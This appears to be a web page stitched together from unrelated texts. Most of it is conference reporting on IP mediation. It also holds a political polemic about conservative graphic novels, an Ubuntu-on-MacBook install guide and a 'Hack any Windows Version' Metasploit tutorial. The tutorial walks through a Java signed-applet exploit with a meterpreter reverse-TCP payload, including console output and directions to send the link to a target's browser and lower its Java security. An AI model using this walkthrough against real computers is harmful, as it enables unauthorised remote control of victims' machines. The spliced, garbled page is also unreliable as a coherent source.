Thinking outside the box can lead to surprises ...

Following a brief break, Isabelle Leroux (Partner, Dentons) took the baton of moderator from James Nurton. There then came a presentation by Richard A. Mac Bride (Mediator/Attorney, Executive Director of the UAIPIT Project at the University of Alicante), "Roles of lawyers and corporate representatives".  Both  lawyers and corporate representatives have to think outside the box. Many lawyers tend to be conflict-oriented and to be conscious of the fact that this is how they are perceived. Corporate lawyers have the added burden that they are always acting under orders, and there may be the pressure of how things are done in the particular sector in which their corporation operates (ie is there a culture of "take no prisoners" or of "live and let live"?)  Lawyers may have to learn to lower the adrenalin level ahead of a mediation and to reduce general levels of tension for mediation to be able to work; this is not something that most lawyers are trained to do. On the corporate side, in-house representatives may have fairly low levels of authority, whether in terms of what they can commit their company to in terms of deciding how to address a dispute and at what cost.

How can I ever think outside this blessed box ...?

Lawyers have to teach both their clients and themselves what mediation actually means in practice. This takes time that someone has to pay for. They also have to learn how to explain what the cost of not entering into a negotiated settlement is, and how to step back from the mediation process where others have a role to play and not monopolise a "starring role". The best way to make sure that lawyers don't come unprepared is to instruct them to write a mediation brief.  They may also have to nudge clients whose mental processes stall at the point at which they cannot think outside the box.

Richard was followed by Aurélia Marie (Partner, Cabinet Beau de Loménie), whose paper was entitled "Practical experiences of mediation from an IP lawyer's perspective". Aurélia, an IP practitioner, related her experiences of an OHIM mediation on the part of a French company in a trade mark conflict with a Spanish competitor.  Before proceedings started, the parties had met several times. The Spanish company was concerned that its own trade mark was in danger of dilution, while the French company felt it had nothing to concede.  With hearings pending both in Spain and before OHIM, OHIM offered mediation proceedings which both parties accepted -- the French with alacrity, the Spanish with some reluctance.  Since neither party would have sought mediation on the basis that it would be seen as a sign of weakness,  OHIM's offer was crucial.

The French company was sceptical both with regarding the procedure and the possible outcome, and both parties had a problem selecting an appropriate mediator.  Looking extensively at the online CVs of the mediators on offer, expertise and language were the two principal criteria: ultimately two mediators were appointed, one a French-speaker, the other speaking Spanish.  Then a mediation contract had to be concluded and a suitable representative of the French company designated (the Spanish company being represented by its manager).  What about dates? Looking for a speedy resolution, the parties chose a single day -- though in hindsight two days would have been better (the single day ran from 9 am till nearly midnight).

Mediation Day -- time to celebrate!

The day itself was a success. The mediators spoke separately to each party, the French party having worked out what was the least it could agree to in respect of each part of the dispute and as to who would take responsibility for each part.  At the end of the day, heads of agreement were agreed and signed, though details had to be ratified by the French company subsequently, given its cumbersome decision-making processes. In conclusion, said Aurélia, choice of mediator(s) is crucial since trust in the mediator is so important. Also, information given to the mediator must be objective and clear. Finally, the end of the mediation is not necessarily the end of the case, since new problems can be dealt with -- but after the two have been mediated they have the right frame of mind to address them.

Next up was Torsten Frey (European Commission, Policy Officer Competition and Industrial Policy, DG Enterprise and Industry), on "Mediation, arbitration and standard essential patents". Torsten explained the background to FRAND licensing and what a standard essential patent is, before embarking on the dispute resolution side of things.  The rules that govern obligations as between different IP owners who share a standard, and also as between the IP owners and licensees, tend to be highly complex: this effects the manner in which disputes arising from them are tackled.  It's not just the cost of resolving disputes that attracts the interest of DG Enterprise and Industry, but the outcome once the dispute is resolved. In the telecoms sector, the parties' patent portfolios are generally global in extent and vast in scale.

Where do mediation and arbitration come in? Being cheaper, quicker and not bound by the geographical scope of IP rights, they are preferable to litigation, though they are not that extensively use. So what can be done to improve the degree of use? One way would be to require mediation and arbitration as mandatory steps before litigation is commenced.

Philip Harris (Partner, Wright Hassall) then took over the role of moderator and Michèle Weil-Guthmann (Mediator, Honorary Judge and Secretary General of the European Association of Judges for Mediation, GEMME) spoke to the subject of"Dealing with confidentiality, neutrality and other sensitive issues". Michèle emphasised the importance of confidentiality, noting also the draft Directive on Trade Secrecy [on which see Alberto's Katpost here] and the exceptions to it. To whom does the confidentiality apply in a mediation, Michèle asked, listing the various possible answers. Likewise, how far does the scope of confidentiality go? And does it apply in respect of documents that could be obtained outside the mediation too?

"Leave the Law outside the Door … Commercial Interests come first" was the last talk of the day, delivered by Fabienne van der Vleugel (Attorney-at-law Meaux, Brussels, New York Bars and Mediator, Vice President UIA World Forum Mediation Centres). This Kat's laptop battery died at this point, which is a pity since this is a hugely important topic which he looks forward to addressing separately in the not-too-distant future.

Purpose of this tutorial

Hack any Windows Version

Follow these steps

root@kali:~# service postgresql start[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
root@kali:~# msfconsole _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.
       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1060 exploits - 659 auxiliary - 178 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
msf > use exploit/multi/browser/java_signed_applet (Java signed applet exploit)    msf  exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)

Exploit target:
   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp (meterpreter payload)PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST IP needed here   yes       The listen address   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > set LHOST 192.168.154.134 (type ifconfig to find your Kali IP) LHOST => 192.168.154.134
msf  exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
msf  exploit(java_signed_applet) >
[*] Started reverse handler on 192.168.154.134:4444
[*] Using URL: http://0.0.0.0:8080/ybfxLEoT
[*]  Local IP: http://192.168.154.134:8080/ybfxLEoT (copy this and paste it into the browser of computer you want to hack)[*] Server started.
[*] 192.168.154.1    java_signed_applet - Handling request
[*] 192.168.154.1    java_signed_applet - Handling request
[*] 192.168.154.1    java_signed_applet - Handling request
msf  exploit(java_signed_applet) >

On our Windows 8 machine

Why won't it work

Java Sandbox

In technical terms : The java-sandbox allows you to securely execute untrusted code (for example, user generated scripts in scripting languages such as groovy or rhino) from within your application. It allows you to specify resources and classes that may be used by the code, thus, separating the execution from the application's execution environment. It allows to wrap execution environments in threads or even execute them remotely on different jvms.(sourceforge)

In less technical terms:In April, Oracle instituted a number of changes starting with Java 7u21. The new update introduced prompts warning users that an unsigned applet could potentially harm the user’s computer. This came months after Oracle changed Java’s default security settings from medium to high, essentially preventing unsigned applets from executing automatically, requiring instead a user to allow the applet to proceed. Developers must now sign their applets with a certificate from a trusted Certificate Authority. (threatpost)

Sandbox is enabled in high level.

Sandbox is disabled in medium level. That will solve our purpose here.

Now we opened our java applet again and this time a really dangerous looking security warning dialog came up. Nevertheless, we clicked on "I accept" and then run.

In the latest culture war eruption, the horrible Amity Shlaes wants conservatives to start producing propaganda comics, but first she has to explain to her apparently geriatric shut-in audience "the oddly named genre of the 'graphic novel'":

Counterintuitive as it may sound, these graphic novels not only feature nonfiction but also lend themselves enviably to difficult nonfiction topics. Take Persepolis, a mauve-and-grey depiction of a girl’s life in the Iranian Revolution... Maus, another graphic novel...

Also, sometimes they even animate these drawings! What a world we live in.

What’s more, these long cartoon books have much the same capacity as films to entice the reader to delve deeper. As Bill Bennett, one who gets the medium, noted recently: “After reading the comic of The Iliad, then I read the children’s edition of The Iliad, and then I read The Iliad.”

I don't know what's funnier: The idea that the noted blowhard Bill Bennett "gets" graphic novels, or that he worked his way to The Iliad via comics.

What was and is troubling, therefore, is that the many of the more serious graphic novels are like Marx’s Capital — reinforcement weapons for progressive, or even outright Marxist, messages.

Shlaes mournfully catalogues some of these wrongthink funnies ("other graphic novels lionize redistributionists and revolutionaries"). The saddest bit, for me, is her description of "a hilarious but anti-capital comic"; I imagine the poor woman tittering and then shuddering, a la Justin Green's Binky Brown: But my thoughts -- no! -- impure thoughts -- no!

"But where are the conservative mangas and graphic novels?" asks Shlaes. Get this:

One explanation for the missing graphic novels is the political bent of the artists themselves. A number of these talents — some of the best, in fact — study and draw together in White River Junction, Vermont, not too far from the home of President Coolidge. A few years ago I traveled up to this cartoon heaven to find someone to draw my own print book, Forgotten Man, or even to help illustrate a bio of the local president, Coolidge. The artists had to work to live, clearly. But this kind of work, they let me know, and in the politest way, they would not take. I left impressed: At least they lived by their convictions.

Rather than wait for the Invisible Hand to starve the Vermont commie-artists into acquiescence, Shlaes  found someone else to do a comic of her book, and advises her comrades to follow suit. First she flatters them, though -- which makes sense, because the target audience, wingnuts with money, is probably thinking they spend enough keeping the thinktanks running and Jonah Goldberg farting out columns, so why should they pay for comics too?

Shlaes assures them she understands: "conservatives themselves have expressed no demand for graphic novels: After all, they have plenty of lively content of their own." When you've got the films of Dinesh D'Souza and books like God Less America to amuse you, comics may seem a useless luxury. Also, "giving in to the graphic style is perceived as dumbing down, and offends conservatives’ inner librarian." So you guys are too smart, too intellectual to do this "visual art" thing. But you should bite the bullet, pull out the wallet, and find some art-drones to do your funnies anyway:

But this attitude, high-minded though it be, is itself a bit of a manga. After all, almost nobody reads books these days. Not radio hosts, not newspaper editors, not union officials, not politicians, and certainly not children. By turning their collective nose up at graphic books, conservatives surrender education ground to the more artful progressives. In the case of economics, conservatives leave fans of markets, not to mention fans of balanced history, unequipped to rebut when the progressive cartoon books come along.

The dummies don't read, and they're being exploited by "artful progressives" -- so we must hire somebody to counteract them. After all, "these long cartoon books have much the same capacity as films to entice the reader to delve deeper" -- so even if they have no intellectual value in and of themselves, they may lead the sheeple on to Hayek and Ramesh Ponnuru.

This is how things look to someone who has no idea what art is for, and who thinks people only respond to it because they're stupid.

First to speak after lunch, in a session moderated by Managing Intellectual Property Editor James Nurton, was vintage Katfriend and one-time Patents County Court judge Michael Fysh QC, on "Advantages of mediation over court proceedings". This paper was principally focused on costs. "What is perceived to be the value of the litigation?" Asked Michael. "How much is a case worth? In an IP case this is almost impossible", at least at the outset, since the IP owner is unlikely to know how much infringement has taken place and how much it will cost to deal with it. It may also not be apparent how strong (or weak) a patent is, since killer prior art can appear from any source and in any language.  Other unknowns include the effect that litigation will have on the time and energy of those people who are personally involved in it, but who will also be expected to do their day jobs.

Other major issues in patent litigation, particularly within Europe, include appointing experts and trying to get them to do what they're supposed to do, the assessment of costs and engagement of forensic accountants, different rules regarding interim relief and disclosure of information, divergent time-scales [like "mediation", the word "urgent" does not appear to have a single shared meaning, this Kat notes].


Design cases are also increasingly complex in Europe today, given the overlay of different IP rights and their respective remedies and defences.  Trade mark cases, which are in theory simple, are tough to resolve given the difficulty of applying Court of Justice rules to the facts of ordinary cases.  Market survey evidence (if admitted), as well as statistical evidence, can be costly.  In all these instances, someone has to pay for this.

Mediations can avoid all of this. A good mediator can be a psychologist as well as a head-banger when it comes to costs, all of which helps both to bring the parties together and to keep them focused. His parting shot -- the one piece of advice Michael offered before closing -- was that, whatever else a mediator does, before he leaves the room he should make sure that whatever the parties have a written and signed version of what they've actually agreed.  If not, he said, it's dollars to donuts that one or other of them will come up with something that's been left out of it.

 Michael Fysh's presentation was followed by a paper, "Negotiation, Mediation and Arbitration: Comparisons and Synergies", by Mark Appel (Senior Vice President International Centre for Dispute Resolution / American Arbitration Association). Negotiation, mediation and arbitration were not mutually exclusive alternatives, Mark said: they were complementary tools that could be used in conjunction with one another.  Points initially made by Mark included the need for familiarity with the industrial sector and with corporate structures, flexibility and other positive indicators for managing dispute regulation. "Fitting the Forum to the Fuss" was a good maxim to follow.

Joined-up: ever the best policy ...

Mark then described a 2009 study in which 79 businesses in France were examined as to their ADR experiences, coming up with five sets of best practices; much, it seems, depends on the industrial sector.  Considerably less use was made of ADR in France than in the US, possibly because the French had a sense of their commercial courts working well.  In 2013, a further study revisited 13 of these companies. It was clear that they were taking a strategic approach to conflict management. These companies also tended to be involved in many cross-border contracts and tailored their strategic policy to match this. They are also quite joined-up: by cross-checking between divisions of the same company, a third party villain vis-a-vis one division may be trading well with other divisions: delivery of such a person's head on a plate may not there be advantageous. In answer to a question from James Nurton, Mark indicated that the form of dispute resolution management he was discussing was mainly to be found in larger companies, but could be expected to trickle down to smaller businesses in time.

Just FYI since in other posts I highly recommended this piece of open source software before -

http://krebsonsecurity.com/2014/05/true-goodbye-using-truecrypt-is-not-secure/

Why Install Linux On A MacBook Pro Retina?

Download Ubuntu

Write to USB Drive

Resize Partitions

Once you’ve done that, you can get your MacBook Pro ready for the installation. Open up the Disk Utility, click on your hard drive on the left side, and then choose the Partitions tab. Resize the Mac partition to whatever size you’d like it to be — we’ll use the newly created free space to install Ubuntu.

Boot Up Ubuntu Image

After that’s completed, plug in the USB flash drive you prepared and restart your MacBook Pro. Be sure to hold down the Options button from when the screen blanks out for a second to when you see a screen with various boot options. Choose the EFI option (the left one in case you see two of them) to boot up your Ubuntu USB flash drive.

Installer

Once you come to the partitioning step, choose to “Do something else”. Then, make sure that the small partition that’s ~128MB large is recognized as an EFI boot partition (you can check by clicking on it and choosing Options; additionally, that should be /dev/sda1). Next, you can create an ext4 partition in the new space and have the path “/” be mounted to it. You can also create multiple partitions here if you prefer that and know what you’re doing.

EFI Boot Fix

When the installer completes, don’t restart just yet! We still need to do one more thing so that we’ll be able to use GRUB. Run the following command: sudo apt-get install efibootmgr. This will temporarily install a configuration tool for EFI boot setups. Next, runsudo efibootmgr. This will print out the current boot configuration to your screen. In this, you should be able to see “ubuntu” and “Boot0000*”. Currently, the EFI system will point to Boot0080*, which skips GRUB and goes directly to Mac OS X. To fix this, run the command sudo efibootmgr -o 0,80. Now you can restart!

Various Tweaks

menuentry "Mac OS X" {
exit
}

As you can see, everything is ridiculously small on the Retina display. To fix this, System Settings –> Display and change the scaling factor to something larger. On the Retina screen, everything will look extremely tiny and it will make your life much more difficult if you don’t change it to something you like.





Conclusion

Congratulations! You now have a great working Linux installation on your MacBook Pro Retina! Feel free to make additional tweaks to make Ubuntu feel more like home. I’m sure that these instructions can be applied to other Mac systems, but each new release has its own pitfalls and advantages. If you use a different machine, it’s a good idea to look up some documentation first, such as this for Ubuntu.

The second session of today's OHIM IP Mediation Conference, moderated by this Kat, featured a stellar list of representatives of institutional IP mediation. Ignacio de Castro (Deputy Director, WIPO Arbitration and Mediation Center) opened the session, pointing out that more than half of the disputes before the Center go to mediation.  33% of WIPO mediations lead to arbitrations, which can be quite effective. WIPO's newly updated rules come into force in a few days; they provide for a large list of mediators -- more than 1,500 worldwide, covering all areas of IP -- but this is still not enough and WIPO often has to go beyond this. WIPO provides online docketing facilities.

Patents are the most popular topics for WIPO ADR, followed by IT; trade mark disputes are relatively uncommon. Within this, there has been a shift from pharma to telecom-related patents, even covering FRAND and standard-essential patents. Settlement rates are high (70% in mediation, high in arbitration too). March 2013, WIPO published a survey on patent and copyright dispute resolution covering some 400 respondents. 91% concluded agreements with parties from other jurisdictions; 80% for technology patented in multiple jurisdictions. It has been difficult to attract users to the services

Next to speak was Steve Probert (Senior Mediator, UK IPO), who introduced the audience to the team of five trained in-house IP mediators, who are supplemented where necessary by a panel of selected outsiders. Steve pointed out that the IPO's fee structure was negotiable, so people are free to haggle.  The IPO's services covers all and any aspects of a mediation, and will address disputes at any stage, even post-judgment if necessary. Mediation gets a boost in England and Wales from judges who push parties towards it before trial and want to know why they haven't opted for it when the time for judgment comes. What can go wrong, Steve asked? Sometimes when the parties have reached an agreement on the substantive issues, there can be a residual problem as to whether one party contributes to the other party's costs. Another problem arises when a party has to keep stopping in order to take third party advice.

Joana Borralho de Gouveia (Chairman of ARBITRARE, Portugal) then took the audience through the services of her organisation, which is competent to resolve disputes ranging from domain names through to industrial property and reference medicines.  ARBITRARE offers information, mediation and arbitration services; arbitral awards have the same legal status under Portuguese law as court orders.

Parties are initially invited to participate in mediation in person and while accompanied by their legal representatives. However, participation through Skype is also permitted and, on the two occasions on which it has been invoked so far, it has worked well.  The mediation stage is not normally allowed to extend beyond 30 days, though in exceptional cases a further 15 days may be allowed.  Mediators are trained and are appointed by ARBITRARE, though the parties are free to appoint a mediator of their choice if they so desire. Proceedings are offered both in Portugal and in English.  In terms of statistics, from 2009 to date some 165 proceedings have been filed, of which only 4 have accepted mediation and just one mediation has been concluded.

An agreeable location for mediation?

Sam Granata (Unified Patent Court Mediation and Arbitration Center) then introduced us to a body of which none of us has yet had experience.  As a Belgian judge and a former mediator in private practice, Sam gave a multifaceted picture of the legal theory underpinning the UPC, its current structure with local, central and regional divisions, as well as the practical possibilities. The UPC's Mediation and Arbitration Center is to be based in Lisbon and Ljubjlana (left).   Only one Article in the UPC Agreement covers the Center, which won't come into force till the requisite number of 13 ratifications (including France, Germany and the UK) have been received. It is hoped that, by the end of the summer, the Center's rules will be approved.
As for its operation, the Center is only competent for mediation and arbitrations of patents falling within the scope of the UPC Agreement: does this include opted-out patents, for which that Agreement provides?

Coming from an International Trademark Association (INTA) perspective, Carsten Albrecht (Attorney-at-law and Mediator, FPS Fritze Wicke Seelig) explained the organisation's role, and that of its ADR Committee -- which has 58 members and three subcommittees covering outreach, programming and "neutrals" (which creates documents and materials for mediators and exercises a degree of quality control). Of the 136 mediators on the group's panel, over 80 are from the United States but the number of non-US mediators, and those with capabilities in languages other than English, is increasing.  INTA does not provide a physical location and does not lay down the specific rules.

Last year around 450-470 mediations came through INTA with a 70-80% success rate -- which is impressively high.  But why are there not more? Is it that mediation is only chosen when litigation is too expensive or where the courts are not trusted? Does it depend on whether it is judicially encouraged or not? Or is it just a matter of cultural tradition?  How can we improve the degree of use, Carsten asked: will it involve changing the attitude of the legal profession? Some people appear to equate a willingness to mediate with a concession of weakness, which should not be so.

Fabio Angelini (Counsel, De Simone & Partners) then spoke from the perspective of the European Communities Trade Mark Association (ECTA), an organisation that is by no means as big as INTA but which still has a sizeable membership -- and an active one.  ECTA has a strong institutional commitment to mediation. Fabio decided to look at IP mediation via what he described as a "totally unscientific survey" of around 150 ECTA members. The survey was basically divided into three sections: "mediation yes", "mediation no" and "mediation why".

More or less 50% of respondents had done an IP mediation, though only around 10% had ever considered the mediation service offered by OHIM. While there is a strong aversion to trying something that is brand new, there is also a pull in the opposite direction from people who want to try something because it's new and it's worth giving it a go.  Fabio then took the audience through a fascinating array of reasons given and attitudes adopted by those surveys.

Closing the session was Théophile Margellos (President of the Boards of Appeal and Coordinator of OHIM`s Mediation Service), who reminded the audience that it was for them that this event was organised and for them that the OHIM mediation service has been offered.  OHIM's mediation service is part of a bigger plan to build a creative organisation. His presentation reminded us of how long it can take a disputed Community trade mark or design matter to pass through the formal administrative and litigation processes of the European Union in the absence of mediation, and he emphasised the organisation's objective of enabling users to benefit from a service which is transparent, which is strictly confidential and from which they cannot lose out. This in turn requires mediators who are strictly impartial and who have easy and direct access to the disputing parties.